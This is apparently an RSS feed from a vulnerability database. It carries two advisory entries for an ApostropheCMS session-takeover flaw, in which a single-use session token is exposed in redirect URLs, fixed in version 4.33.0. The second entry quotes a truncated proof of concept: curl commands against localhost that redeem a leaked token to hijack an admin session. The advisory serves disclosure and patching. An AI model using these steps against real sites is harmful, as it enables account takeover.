<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 21 Oct 2026 22:32:53 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-113669</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-113669</link>
      <description>&lt;p&gt;ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0 of ApostropheCMS and 1.6.1 of passport-bridge, cross-host or cross-locale session migration places a single-use bearer session token in a redirect URL. A client that obtains and redeems a still-valid, unconsumed token before its first use can adopt the associated session, including through the passport-bridge cross-locale flow. This issue is fixed in ApostropheCMS 4.33.0 and passport-bridge 1.6.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0 of ApostropheCMS and 1.6.1 of passport-bridge, cross-host or cross-locale session migration places a single-use bearer session token in a redirect URL. A client that obtains and redeems a still-valid, unconsumed token before its first use can adopt the associated session, including through the passport-bridge cross-locale flow. This issue is fixed in ApostropheCMS 4.33.0 and passport-bridge 1.6.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-113669</guid>
    </item>
    <item>
      <title>GHSA-hhvr-8m24-qqr3 — ApostropheCMS: Cross-domain session token in URL confers session takeover</title>
      <link>https://db.gcve.eu/vuln/ghsa-hhvr-8m24-qqr3</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: apostrophe, npm: @apostrophecms/passport-bridge&lt;/p&gt;
&lt;p&gt;**Summary**
Apostrophe&amp;#39;s cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user&amp;#39;s full session (including `passport.user`) with no credentials.&lt;/p&gt;
&lt;p&gt;**Details**
`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:
- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.
- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.
- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.&lt;/p&gt;
&lt;p&gt;**PoC**
```
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H &amp;#34;Content-Type: application/json&amp;#34; \
     --data &amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;admin&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;adminpassword&amp;#34;,&amp;#34;session&amp;#34;:true}&amp;#39; \
     http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies &amp;#34;http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN&amp;#34;
#    → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads adm…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: apostrophe, npm: @apostrophecms/passport-bridge&lt;/p&gt;
&lt;p&gt;**Summary**
Apostrophe&amp;#39;s cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user&amp;#39;s full session (including `passport.user`) with no credentials.&lt;/p&gt;
&lt;p&gt;**Details**
`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:
- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.
- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.
- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.&lt;/p&gt;
&lt;p&gt;**PoC**
```
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H &amp;#34;Content-Type: application/json&amp;#34; \
     --data &amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;admin&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;adminpassword&amp;#34;,&amp;#34;session&amp;#34;:true}&amp;#39; \
     http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies &amp;#34;http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN&amp;#34;
#    → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads adm…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-hhvr-8m24-qqr3</guid>
    </item>
  </channel>
</rss>
